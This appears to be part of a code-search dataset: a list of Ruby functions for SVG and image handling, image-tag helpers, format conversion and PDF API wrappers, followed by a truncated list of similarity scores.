"def strip_images(node)\n node.css('img').each do |img|\n match = ASSET_IMAGE_SRC_REGEX.match(img['src'])\n\n insert_tag(HANDLEBARS_TEMPLATE_ASSET_IMAGE % match[1].to_i) if match\n img.remove\n end\n\n node\n end",
"def convert_standalone_image(el, _opts, img); end",
"def make_image(options={})\n file = options.fetch :file, nil\n suffix = options.fetch :suffix, nil\n type = options.fetch :type, 'svg'\n\n unless file\n unless suffix\n suffix = dot_plot_number\n self.dot_plot_number += 1\n end\n if suffix.is_a? Integer\n suffix = suffix.to_s.rjust 5, '0'\n end\n graph_name = uid || 'graph'\n file = \"#{graph_name}-#{suffix}.#{type}\"\n end\n info \"Writing the graph image: '#{suffix}' to the file: '#{file}'\"\n command = ['dot', '-T', type, '-o', file]\n Open3.popen2e(*command) do |stdin, out, process|\n stdin.puts to_dot\n stdin.close\n output = out.read\n debug output unless output.empty?\n process.value.exitstatus == 0\n end\n end",
"def render_graph_svg_data machine, opts = { }\n require 'tempfile'\n tmp = Tempfile.new(\"red_steak_dot\")\n self.file_dot = tmp.path + \".dot\"\n self.file_svg = nil\n render_graph(machine, opts)\n result = File.open(self.file_svg, \"r\") { | fh | fh.read }\n if opts[:xml_header] == false || options[:xml_header] == false\n result.sub!(/\\A.*?<svg /m, '<svg ')\n end\n # puts \"#{result[0..200]}...\"\n result\n ensure\n tmp.unlink rescue nil\n File.unlink(self.file_dot) rescue nil\n File.unlink(self.file_svg) rescue nil\n end",
"def is_svg?(file)\n /\\.svg\\z/.match?(file)\n end",
"def augment_svg(svg_file, svg_out, add_fragment_index: false)\n def get_classes(element)\n attr = element.attribute('class')\n if attr\n Set.new(attr.value.split(/\\s+/))\n else\n Set.new([])\n end\n end\n\n def set_classes(element, collection)\n if collection.empty?\n element.remove_attribute('class')\n else\n element['class'] = collection.to_a.join(\" \")\n end\n element['class']\n end\n\n def add_class(element, class_name)\n classes = get_classes(element)\n classes.add(class_name)\n set_classes(element, classes)\n end\n\n def remove_class(element, class_name)\n classes = get_classes(element)\n classes.delete(class_name)\n set_classes(element, classes)\n end\n\n def add_fragment(element)\n add_class(element, 'fragment')\n end\n\n def remove_fragment(g)\n remove_class(g, 'fragment')\n g.remove_attribute('data-fragment-index')\n end\n\n image = File.open(svg_file) { |f| Nokogiri::XML(f) }\n image.remove_namespaces!\n layers = image.xpath(\"//g[@id]\")\n\n if layers.length == 0\n # Nothing to do\n elsif layers.length == 1\n # There's only one layer. No sense causing incremental display.\n # Remove any existing fragments.\n puts \"Image #{svg_file} is a single-layer image. No animation.\"\n g = layers[0]\n remove_fragment(g)\n else\n layers.each_with_index do |g, i|\n # Don't mark the first layer; that should show up when the slide\n # shows up.\n if i == 0\n remove_fragment(g)\n else\n add_fragment(g)\n\n if add_fragment_index\n g['data-fragment-index'] = i.to_s\n end\n end\n\n id = g.attribute('id')\n if id.value.include?('one-time')\n add_class(g, 'current-visible')\n end\n end\n end\n\n #%w{x y viewBox height width}.each { |attr| image.root.delete(attr) }\n %w{x y height width}.each { |attr| image.root.delete(attr) }\n File.open svg_out, \"w\" do |f|\n # Skip to the SVG element, in case there's a processing instruction or\n # doctype. They're not necessary, since we're embedding.\n f.write(image.at_xpath('//svg').to_xml)\n end\n\nend",
"def image_for(file_name, dest = '')\n prefix = data_path.dup\n file_name = file_name.split('/').last unless file_name.empty?\n file_name = file_name.gsub(/.svg/i, '.png')\n case dest\n when 'mobile_inspire'\n \"#{prefix}/inspire/mobile/#{file_name}\"\n when 'desktop_inspire'\n \"#{prefix}/inspire/desktop/#{file_name}\"\n when 'thumbnails'\n \"#{prefix}/thumbnails/#{file_name}\"\n when 'show_image_desk'\n \"#{prefix}/show_images/desktop/#{file_name}\"\n when 'show_image_mob'\n \"#{prefix}/show_images/mobile/#{file_name}\"\n when 'show'\n \"#{prefix}/show_images/show/#{file_name}\"\n end\n end",
"def save_png(filename)\n save_svg(filename)\n Dir.cd_to(filename) do |basename|\n system(\"convert \\\"#{basename}.svg\\\" \\\"#{basename}.png\\\"\") || system(\"rsvg-convert \\\"#{basename}.svg\\\" -o \\\"#{basename}.png\\\"\")\n end\n end",
"def embed_svg(svg:)\n t = Tempfile.new(['embed','.svg'])\n t.write svg\n t.close\n t.path\n end",
"def to_data_uri\n \"url(data:image/svg+xml;base64,#{to_base64});\"\n end",
"def get_optimized_image(upload, size)\n return if !upload\n return upload if upload.extension == \"svg\"\n\n upload.get_optimized_image(size, size, allow_animation: SiteSetting.allow_animated_avatars)\n # TODO decide if we want to detach here\n end",
"def image(path, options = {})\n o = Hash(options).map { |k, v| \"#{k}='#{v}'\" }.join(' ')\n\n asset_html(path, [IMAGE_CDN.chomp, o].join(' '),\n [IMAGE_LOCAL.chomp, o].join(' '), options)\n end",
"def augment_svg(svg_file, add_fragment_index: true)\n def get_classes(element)\n attr = element.attribute('class')\n if attr\n Set.new(attr.value.split(/\\s+/))\n else\n Set.new([])\n end\n end\n\n def set_classes(element, collection)\n if collection.empty?\n element.remove_attribute('class')\n else\n element['class'] = collection.to_a.join(\" \")\n end\n element['class']\n end\n\n def add_class(element, class_name)\n classes = get_classes(element)\n classes.add(class_name)\n set_classes(element, classes)\n end\n\n def remove_class(element, class_name)\n classes = get_classes(element)\n classes.delete(class_name)\n set_classes(element, classes)\n end\n\n def add_fragment(element)\n add_class(element, 'fragment')\n end\n\n def remove_fragment(g)\n remove_class(g, 'fragment')\n g.remove_attribute('data-fragment-index')\n end\n\n image = File.open(svg_file) { |f| Nokogiri::XML(f) }\n image.remove_namespaces!\n layers = image.xpath(\"//g[@id]\")\n if layers.length == 0\n # Nothing to do\n elsif layers.length == 1\n # There's only one layer. No sense causing incremental display.\n # Remove any existing fragments.\n puts \"Image #{svg_file} is a single-layer image. No animation.\"\n g = layers[0]\n remove_fragment(g)\n else\n layers.each_with_index do |g, i|\n # Don't mark the first layer; that should show up when the slide\n # shows up.\n if i == 0\n remove_fragment(g)\n else\n add_fragment(g)\n if add_fragment_index\n g['data-fragment-index'] = i.to_s\n end\n end\n\n id = g.attribute('id')\n if id.value.include?('one-time')\n add_class(g, 'current-visible')\n end\n\n end\n end\n\n %w{x y viewBox}.each { |attr| image.root.delete(attr) }\n\n File.open svg_file, \"w\" do |f|\n f.write(image.to_xml)\n end\nend",
"def example(request,response2)\n `rsvg-convert /tmp/chart.svg -o /tmp/chart.png`### Conversion of charts from .svg format provided by GerbilCharts to .png format\n file=File.read(\"/tmp/chart.png\")\n response2[\"Content-Type\"] = \"image/png\"\n response2.write(file)\n response2.finish\n end",
"def update_image_src img, options = {}\n if FedenaSetting.s3_enabled? #and options[:s3].present? and options[:s3]) \n image_url = options[:style].present? ? img.url(options[:style].to_sym,false):img.url(:original,false)\n image_url = image_url.gsub('&','&') if image_url.present? \n image_url\n # return (verify_http_https_file image_url) ? (image_tag image_url).gsub('&','&') : ''\n else\n image_path = img.path\n return \"file://#{Rails.root.join(image_path)}\"\n # return image_tag \"file://#{Rails.root.join(image_path)}\", options\n end\n end",
"def test_extract_svg\n scraper = Scrapevg::SvgScraper.new(@html_with_no_svg)\n assert_equal scraper.svg_elements.size(), 0\n scraper = Scrapevg::SvgScraper.new(@html_with_wrong_svg)\n assert_equal scraper.svg_elements.size(), 0\n scraper = Scrapevg::SvgScraper.new(@html_with_svg)\n assert_equal scraper.svg_elements.size(), 1\n assert_equal scraper.svg_elements[0].to_s, @svg_element\n end",
"def add_default_image\n image.attach(io: File.open(Rails.root.join('app', 'javascript', 'images', 'default.png')), filename: 'default.png', content_type: 'image/png')\n end",
"def convert_img(el, opts)\n alt_text = el.attr['alt'].to_s#.gsub(ESCAPED_CHAR_RE) { $1 ? \"\\\\#{$1}\" : $2 }\n src = el.attr['src'].to_s\n if src.empty?\n \"![#{alt_text}]()\"\n else\n title = parse_title(el.attr['title'])\n link = if src.count(\"()\") > 0\n \"<#{src}>\"\n else\n src\n end\n \"\"\n end\n end",
"def inline_image(element)\n invalid = [\"span\",{\"class\"=>\"red\"},\"invalid image\"]\n return invalid unless element.attr.has_key? 'src'\n return invalid unless element.attr['src'].start_with? \"data:image/png;base64,\"\n return [\"img\",{\"src\"=>element.attr['src']}]\nend",
"def proxy_image\n multiresimage = Multiresimage.find(params[:id])\n\n src_width = multiresimage.DELIV_OPS.svg_image.svg_width.first.to_f\n src_height = multiresimage.DELIV_OPS.svg_image.svg_height.first.to_f\n\n # Max size is 1600 pixels or less, because we can't give away higher quality versions I guess!\n max_size = [ params[:image_length].to_i, 1600, src_width, src_height ].min\n\n image_url = multiresimage.image_url(max_size)\n\n if can?(:read, multiresimage)\n begin\n send_data( Net::HTTP.get_response(URI.parse(image_url)).body, type: 'image/jpeg' )\n rescue\n default_image = File.open(\"app/assets/images/site/missing2.png\", 'rb').read\n filename = \"missing2.png\"\n send_data( default_image, disposition: 'inline', type: 'image/jpeg', filename: filename )\n end\n end\n end",
"def svgsprite(args)\n svg_class = args[:class] || \"\"\n \"\"\"\n <svg class=\\\"#{svg_class}\\\">\n <use xlink:href=\\\"/assets/images/spritesheets/sprites.svg##{args[:id]}\\\"></use>\n </svg>\n \"\"\"\n end",
"def fix_isgd_url!\n self.src_url.gsub!(%r{(http://is.gd/\\w+)[-/]}, '\\1')\n end",
"def use_icon(icon_id)\n content_tag :svg, xmlns: 'http://www.w3.org/2000/svg', class: 'icon' do\n tag :use, 'xlink:href' => \"#icon-#{icon_id}\"\n end\n end",
"def putImage(imgPath, &block)\n mimeType = MimeMagic.by_magic(File.open(imgPath))\n if mimeType.subtype == \"svg+xml\"\n # Special handling for SVG images -- no width/height\n return { asset_id: putAsset(imgPath, {}),\n image_type: mimeType.subtype\n }\n else\n mimeType && mimeType.mediatype == \"image\" or raise(\"Non-image file #{imgPath}\")\n dims = FastImage.size(imgPath)\n block and block.yield(dims)\n return { asset_id: putAsset(imgPath, { width: dims[0].to_s, height: dims[1].to_s }),\n image_type: mimeType.subtype,\n width: dims[0],\n height: dims[1]\n }\n end\nend",
"def to_svg\n if (@fullscreen or @layout.fullscreenmap)\n #then we can skip the subscreen rendering with tempfiles and dump the map's svg\n funkygps.map.to_svg\n else\n out = %{<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\\n}\n out << %{<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\\n}\n out << %{<svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" width=\"#{width}px\" height=\"#{height}px\">\\n}\n @layout.subscreens.each do |subscreen|\n out << add_svg(x: @layout.x(of:subscreen), y: @layout.y(of:subscreen), width: @layout.width(of:subscreen), height: @layout.height(of: subscreen), svg: funkygps.instance_variable_get(subscreen).to_svg) if @layout.is_visible(screen: subscreen)\n end\n out << %{</svg>}\n out\n end\n end",
"def fix_src_url!\n fix_isgd_url!\n end",
"def export_png(icon_size = 200)\n @glyphs.glob('*.svg').map do |p|\n # puts p.dirname.inspect.yellow\n # puts p.basename.inspect.red\n # puts p.basename('.svg').inspect.yellow\n png_file = @root.join('tmp', 'png', p.basename('.svg').to_s + '.png')\n command(\"convert -background none -size #{icon_size}x#{icon_size} #{p} #{png_file}\")\n end\n end",
"def data_uri(image)\n mime_type = image.svg? ? 'image/svg+xml' : image.mime_type\n \"'data:#{mime_type};base64,#{Base64.encode64(image.blob).gsub(/\\r?\\n/, '')}'\"\n end",
"def get_svg_in_storage_to_pdf_with_http_info(src_path, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_svg_in_storage_to_pdf ...\"\n end\n # verify the required parameter 'src_path' is set\n if @api_client.config.client_side_validation && src_path.nil?\n fail ArgumentError, \"Missing the required parameter 'src_path' when calling PdfApi.get_svg_in_storage_to_pdf\"\n end\n # resource path\n local_var_path = \"/pdf/create/svg\"\n\n # query parameters\n query_params = {}\n query_params[:'srcPath'] = src_path\n query_params[:'adjustPageSize'] = opts[:'adjust_page_size'] if !opts[:'adjust_page_size'].nil?\n query_params[:'height'] = opts[:'height'] if !opts[:'height'].nil?\n query_params[:'width'] = opts[:'width'] if !opts[:'width'].nil?\n query_params[:'isLandscape'] = opts[:'is_landscape'] if !opts[:'is_landscape'].nil?\n query_params[:'marginLeft'] = opts[:'margin_left'] if !opts[:'margin_left'].nil?\n query_params[:'marginBottom'] = opts[:'margin_bottom'] if !opts[:'margin_bottom'].nil?\n query_params[:'marginRight'] = opts[:'margin_right'] if !opts[:'margin_right'].nil?\n query_params[:'marginTop'] = opts[:'margin_top'] if !opts[:'margin_top'].nil?\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['multipart/form-data'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'File')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_svg_in_storage_to_pdf\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def static_image_tag path, sizes, **args\n # If responsive versions have no been defined, an error is thrown\n raise \"No versions defined for static image '#{path}'\" unless STATIC_IMAGE_VERSIONS.key?(path)\n\n # Get the proper extension for this image\n extension = STATIC_IMAGE_PNGS.include?(path) ? 'png' : 'jpg'\n srcset = []\n webp_srcset = []\n\n # Generate the srcset for both the webp, and fallback versions of the image.\n # This srcset will include every responsive image version available.\n STATIC_IMAGE_VERSIONS[path].each do |name, width|\n srcset << \"#{asset_pack_path(\"media/images/#{path}-#{name}.#{extension}\")} #{width}w\"\n webp_srcset << \"#{asset_pack_path(\"media/images/#{path}-#{name}.webp\")} #{width}w\"\n end\n\n # Get the first value of the srcset to be our default src\n src = srcset.first.split(' ')[0]\n\n # Merge the srcsets into one string\n srcset = srcset.join(', ')\n webp_srcset = webp_srcset.join(', ')\n\n capture do\n # Render a basic fallback incase javascript isn't enabled/supported\n concat content_tag(:noscript, tag.img(src: src, **args))\n # Pass our components to another function to build the picture tag\n concat picture_tag(src, srcset, webp_srcset, sizes, **args)\n end\n end",
"def link_image(filename, options={})\n opts = {}.merge(options) #these are the default options for the stylesheet\n\n file_path = File.join('images', filename) #this is where the un-compiled asset currently resides\n asset = Bartender::Asset.new(file_path, self.sprockets_env)\n\n if asset\n return \"<img #{opts.to_a.collect{|opt_a| \"#{opt_a[0]}=\\\"#{opt_a[1]}\\\"\"}.join(' ')} src=\\\"#{asset.site_path}\\\"/>\"\n else\n $stderr.puts \"WARNING: Could not find image '#{filename}' in #{Bartender::DEFAULTS['assets']} for page #{self.page}\"\n return \"<!-- WARNING: Could not link img #{filename} -->\"\n end\n end",
"def replace_image_tags(xml_text)\n doc = Nokogiri::XML(xml_text)\n doc.xpath(\"//image\").each { |c| c.name = \"seed_image\" }\n return doc.to_xml\n end",
"def image_tag_with_retina(source, options={})\n if options.delete(:retina)\n ActiveSupport::Deprecation.warn(\"`image_tag('image.png', :retina => true)` is deprecated use `retina_image_tag` instead\")\n end\n\n image_tag_without_retina(source, options)\n end",
"def put_svg_in_storage_to_pdf_with_http_info(name, src_path, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.put_svg_in_storage_to_pdf ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.put_svg_in_storage_to_pdf\"\n end\n # verify the required parameter 'src_path' is set\n if @api_client.config.client_side_validation && src_path.nil?\n fail ArgumentError, \"Missing the required parameter 'src_path' when calling PdfApi.put_svg_in_storage_to_pdf\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/create/svg\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'srcPath'] = src_path\n query_params[:'adjustPageSize'] = opts[:'adjust_page_size'] if !opts[:'adjust_page_size'].nil?\n query_params[:'height'] = opts[:'height'] if !opts[:'height'].nil?\n query_params[:'width'] = opts[:'width'] if !opts[:'width'].nil?\n query_params[:'isLandscape'] = opts[:'is_landscape'] if !opts[:'is_landscape'].nil?\n query_params[:'marginLeft'] = opts[:'margin_left'] if !opts[:'margin_left'].nil?\n query_params[:'marginBottom'] = opts[:'margin_bottom'] if !opts[:'margin_bottom'].nil?\n query_params[:'marginRight'] = opts[:'margin_right'] if !opts[:'margin_right'].nil?\n query_params[:'marginTop'] = opts[:'margin_top'] if !opts[:'margin_top'].nil?\n query_params[:'dstFolder'] = opts[:'dst_folder'] if !opts[:'dst_folder'].nil?\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AsposeResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#put_svg_in_storage_to_pdf\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def to_erb\n url = @img['src']\n url.sub!(\"/images/\", \"\")\n data_pixel = ''\n\n # resolve special data-pixel-density-2 case\n if @img.to_s.include? 'data-pixel-density-2'\n data_value = @img['data-pixel-density-2']\n data_value.sub!(\"/images/\", \"\")\n data_pixel = \", 'data-pixel-density-2': image_path('#{data_value}')\"\n end\n\n options_str = process_options\n\n if url.include?(\"<%= \") && url.include?(\" %>\")\n url.sub!(\"<%= \", '#{')\n url.sub!(\" %>\", \"}\")\n url_string = \"\\\"#{url.to_s}\\\"\"\n\n \"<%= image_tag(#{url_string}#{options_str}#{data_pixel})%>\"\n else\n \"<%= image_tag('#{url}'#{options_str}#{data_pixel})%>\"\n end\n end",
"def simple_image(style)\n product_image_by_spree( wrapped_product.model, style )\n end",
"def copy_placeholder\n FileUtils.cp File.expand_path(\"lib/placeholder.svg\"), self.svg_name\n end",
"def image_node\n return @image_node if defined? @image_node\n\n @image_node = @node.xpath('.//img').first\n end",
"def svg_scale\n # Use the normal svg method, unless a custom width or height have been\n # passed\n return self.svg unless @custom_dimensions\n\n # Use regex to substitute the width and height attributes of the\n # SVG. Remember, sub only substitutes the first occurence.\n d = self.svg\n d.sub! /\\swidth=\"[\\da-zA-Z]*\"\\s/, \" width=\\\"#{@width}px\\\" \"\n d.sub! /\\sheight=\"[\\da-zA-Z]*\"\\s/, \" height=\\\"#{@height}px\\\" \"\n return d\n end",
"def etail\n puts '</svg>'\nend",
"def image path, attrs = {}\n Tagz.tag :img, { :src => path }.merge(attrs)\n end",
"def as_img_tag()\n \"<img src='#{self.encode}' />\"\n end",
"def to_svg\n rp=rubyvis_panel\n rp.render\n rp.to_svg\n end",
"def img(image_src, options = {})\n image_src = case image_src.to_s\n when /^\\/images/\n image_src\n when /^images/\n '/' + image_src\n when /^\\//\n image_src\n else\n '/images/' + image_src\n end\n image_src = \"#{get_resource_root(image_src)}#{image_src}?#{configatron.mack.assets.stamp}\"\n non_content_tag(:img, {:src => image_src}.merge(options))\n end",
"def application_logo(classes)\n if cookies[:layout] == 'application' || cookies[:layout].nil?\n image_tag(asset_pack_path('media/images/duszek-awesome.svg'), class:\"#{classes}\")\n else\n image_tag(asset_pack_path('media/images/duszki.png'), class:\"#{classes}\")\n end\n end",
"def image\n if formatted_image.present?\n formatted_image\n else\n original_image\n end\n end",
"def image_tag(image, opts={})\n if is_uri?(image)\n path = image\n else\n path = url(\"/images/#{image}\")\n end\n return \"<img src=\\\"#{path}\\\"#{parse_options(opts)} />\"\n end",
"def get_svg_in_storage_to_pdf(src_path, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_svg_in_storage_to_pdf_with_http_info(src_path, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_svg_in_storage_to_pdf_with_http_info(src_path, opts)\n else\n raise\n end\n return data\n end",
"def svg_path\n name = @options[:comune] || '\\1'\n @dataset_file_path.gsub(/(.+)\\.geojson$/, \"#{name}.svg\")\n end",
"def get_pdf_in_storage_to_svg(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_pdf_in_storage_to_svg_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_pdf_in_storage_to_svg_with_http_info(name, opts)\n else\n raise\n end\n return data\n end",
"def reg_shirt_image(reg, opts={})\n src = reg.shirt_asset_path()\n image_tag src, opts\n end",
"def path_to_image(source, options = T.unsafe(nil)); end",
"def to_filename\n base_directory = __dir__ + \"/assets/\"\n base_directory + \"academicons.svg\"\n end",
"def x_visualize\n require 'open3'\n Open3.popen3('dot -T svg | display') do |i,o,_|\n i.write to_dot\n i.close\n end\n end",
"def image(icon_name, opts={})\n icon_name = icon_name.to_s if icon_name.is_a? Symbol\n icon_name = icon_name.gsub(\"_\",\"-\")\n icon_name = icon_name.gsub(\"ios-\", \"ios7-\") if icon_name[0..3] == \"ios-\"\n color = opts[:color].nil? ? :black.uicolor : opts[:color]\n color = color_from_string(color) if color.is_a? String\n return \"512/#{icon_name}.png\".uiimage.overlay(color)\n end",
"def image_markup(image)\n render_to_string(\n file: 'bootsy/images/_image',\n formats: [:html],\n locals: { image: image },\n layout: false\n )\n end",
"def graphic(number)\n File.open(\"#{frame_id(number)}.svg\", \"w\") do |file|\n file.write render(\"bit101_style.erb\")\n end\n\n system(\"convert #{frame_id(number)}.svg #{frame_id(number)}.jpg\")\n # system(\"java -jar ~/Downloads/batik-1.7/batik-rasterizer.jar #{frame_id(number)}.svg\")\n File.unlink(\"#{frame_id(number)}.svg\")\n\n print \"+\"\nend",
"def og_image(image)\n\t\tbase_image = \"http://i.imgur.com/DfYlA.png\"\n\t\tif image.empty?\n\t\t\tbase_image\n\t\telse\n\t\t\timage\n\t\tend\n\tend",
"def resolve_image\n\t\t\tif self.image_file\n\t\t\t\tunless self.image_file.is_a? String\n\t\t\t\t\tset_image(image_file)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tself.image_file = 'updates/default.png'\n\t\t\tend\n\t\tend",
"def service_image(name, size = 24)\n %Q{/images/service_icons/#{size}/#{name}}\n end",
"def image_tag(path, params={})\n params.symbolize_keys!\n\n # We'll use these for different purposes below.\n file_name = File.basename( path )\n file_base = File.basename( path, '.*' )\n file_extn = File.extname( path )\n file_path = File.dirname( path )\n\n # Here's we're going to log missing images, i.e., images that\n # were requested for for which no file was found. Note that this\n # won't detect images requested via md ![tag][reference].\n checking_path = File.join(source_dir, path)\n unless File.exist?( checking_path )\n puts_red \"#{file_name} was requested but is not in the source!\"\n end\n\n # Here we're going to automatically substitute a target-specific image\n # if the specified image includes the magic prefix `all-`. We have to\n # make this check prior to the srcset below, so that srcset can check\n # for the existence of the correct, target-specific file we determine\n # here.\n if file_name.start_with?(\"all-\")\n proposed_name = file_name.sub(\"all-\", \"#{target_name}-\")\n checking_path = File.join(source_dir, file_path, proposed_name)\n\n if File.exist?( checking_path )\n file_name = proposed_name\n file_base = File.basename( file_name, '.*' )\n path = file_name\n end\n end\n\n # Here we're going to automatically include an @2x image in <img> tags\n # as a `srcset` attribute if there's not already a `srcset` present.\n if extensions[:Middlemac].options.Retina_Srcset\n\n unless params.key?(:srcset)\n proposed_name = \"#{file_base}@2x#{file_extn}\"\n checking_path = File.join(source_dir, file_path, proposed_name)\n\n if File.exist?( checking_path )\n srcset_img = File.join(file_path, \"#{file_base}@2x#{file_extn} 2x\")\n params[:srcset] = srcset_img\n end\n end\n\n end # if extensions\n\n super(path, params)\n end",
"def logo_path(ngo)\n if ngo.image.attached?\n Rails.application.routes.url_helpers.rails_blob_path(ngo.image, only_path: true)\n else\n ActionController::Base.helpers.image_path('image_not_found.png')\n end\n end",
"def normalize_font(source, destination, options = {})\n hexa = options[:hexa] || {}\n interm = source.dirname.join(source.basename('.*').to_s + '.svg')\n if interm.exist?\n puts \"No conversion needed for #{interm}\".white\n else\n command(\"fontforge -quiet -script #{@convert_script} #{source} svg\")\n end\n i = File.open(interm)\n doc = Nokogiri::XML(i) do |config|\n config.nonet.strict.noblanks\n end\n i.close\n doc.root.xpath('//svg:glyph[@d]', SVG_NAMESPACES).each do |glyph|\n name = glyph.attr('glyph-name')\n unicode = glyph.attr('unicode').to_s\n if unicode[0]\n hex = '%4.4x' % unicode[0].ord\n name = hexa[hex] if hexa[hex]\n end\n if name && name =~ /^[a-z0-9]+((\\_|\\-)[a-z0-9]+)*$/\n glyph['glyph-name'] = name.gsub(/[^a-z0-9]+/, '-')\n else\n puts \" - weird name (#{unicode.inspect}): #{name.inspect.red} \"\n end\n end\n doc.root.default_namespace = SVG_NAMESPACES[:svg]\n for name, url in SVG_NAMESPACES\n doc.root.add_namespace(name.to_s, url)\n end\n File.open(destination, 'wb') do |f|\n f.write doc.to_s\n end\n end",
"def save_svg(filename)\n File.open(\"#{filename}.svg\", 'w') { |f| f.write(to_svg) }\n end",
"def vectorize(src, dst, src_in_local, dst_in_local, options=nil, storage_name=nil)\r\n input_format = get_input_format(src)\r\n output_format = File.extname(dst).strip.downcase[1..-1]\r\n fail ApiError.new('Input format must be bmp, jpeg, gif, tiff, png') unless %w[bmp jpeg gif tiff png].include? input_format\r\n fail ApiError.new('Output format must be SVG') if output_format != 'svg'\r\n convert(src, dst, src_in_local, dst_in_local, false, options, storage_name)\r\n end",
"def convert_gifs(text)\n text.tap do\n text.gsub!(/\\\\(includegraphics|image|imagebox)\\{(.*)\\.gif\\}/) do\n \"\\\\#{$1}{#{$2}.png}\"\n end\n end\n end",
"def modify_svg(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'File')\n end",
"def write_image(image, write_path, size_type)\n size = find_size size_type\n image.resize_to_fill!(size[0], size[1]) if size_type\n image.format = \"PNG\" if image.format == \"SVG\"\n write_path.gsub!(/.svg/i, \".png\")\n image.write write_path\n end",
"def avatar_xlink(avatar)\n return { 'xsi:nil' => 'true' } if avatar.nil?\n uri = uri_for_object(avatar.owner)\n uri = \"#{uri}/avatars/#{avatar.id}\"\n xlink = xlink_attributes(uri)\n xlink['id'] = avatar.id\n xlink['resourceType'] = avatar.class.name\n xlink\n end",
"def save_file(output = 'output.svg', options = {})\n format = File.extname(output).gsub!(/\\./,'')\n if format == 'svg'\n svg = File.open(output, 'w')\n svg << @svg\n svg.close\n else\n image = Magick::Image::from_blob(@svg)[0]\n image.change_geometry!(options[:size]) { |cols, rows, img| img.resize!(cols, rows) } unless options[:size].nil?\n image.write(output) {\n self.format = format\n self.quality = options[:quality] || 100\n }\n end\n end",
"def put_svg_in_storage_to_pdf(name, src_path, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = put_svg_in_storage_to_pdf_with_http_info(name, src_path, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = put_svg_in_storage_to_pdf_with_http_info(name, src_path, opts)\n else\n raise\n end\n return data\n end",
"def icon(icon, options = {})\n file = File.read(\"node_modules/bootstrap-icons/icons/#{icon}.svg\")\n doc = Nokogiri::HTML::DocumentFragment.parse file\n svg = doc.at_css('svg')\n\n # Add any of Bootstrap's classes, if provided.\n svg['class'] += ' ' + options[:class] if options[:class].present?\n\n doc.to_html.html_safe\n end",
"def currency_icon_url(currency)\n if currency.id == 'bgc'\n ActionController::Base.helpers.image_url \"assets/#{currency.code}.png\"\n else\n ActionController::Base.helpers.image_url \"assets/#{currency.code}.svg\"\n end\n end",
"def fix_casting_cost(node)\n node.search('//x:img', 'x' => 'http://www.w3.org/1999/xhtml').each do |img|\n symbol = case img['alt']\n when 'Red' then \"R\"\n when 'Green' then 'G'\n when 'White' then 'W'\n when 'Black' then 'B'\n when 'Blue' then 'U'\n else\n img['alt']\n end\n \n #puts self.multiverse_id\n #pp img\n \n img.replace \"[#{symbol}]\"\n end\n \n return node\n end",
"def add_image(image_node)\n\t nodeset = self.find_by_terms(:vra)\n\t image_node.first.add_namespace_definition(\"vra\",\"http://www.vraweb.org/vracore4.htm\")\n\t nodeset.first.add_child(image_node)\n self.content = self.ng_xml.to_s\n return nodeset\n end",
"def graphicsmagick?; end"
] | [
"0.6976713",
"0.69373757",
"0.6889673",
"0.6708993",
"0.6666454",
"0.6664146",
"0.66472864",
"0.66189384",
"0.6558477",
"0.62838167",
"0.626389",
"0.6240496",
"0.61302423",
"0.61154705",
"0.61154705",
"0.60168093",
"0.59429413",
"0.5888581",
"0.58310914",
"0.5781527",
"0.5745485",
"0.5721666",
"0.5690856",
"0.56368107",
"0.5601569",
"0.55655116",
"0.55000705",
"0.54772294",
"0.54748565",
"0.54427063",
"0.5437494",
"0.54336697",
"0.5390558",
"0.53875333",
"0.53696054",
"0.5355121",
"0.5335994",
"0.5288983",
"0.52103865",
"0.51986575",
"0.51970446",
"0.5166313",
"0.516541",
"0.51433325",
"0.5130351",
"0.51225346",
"0.51056033",
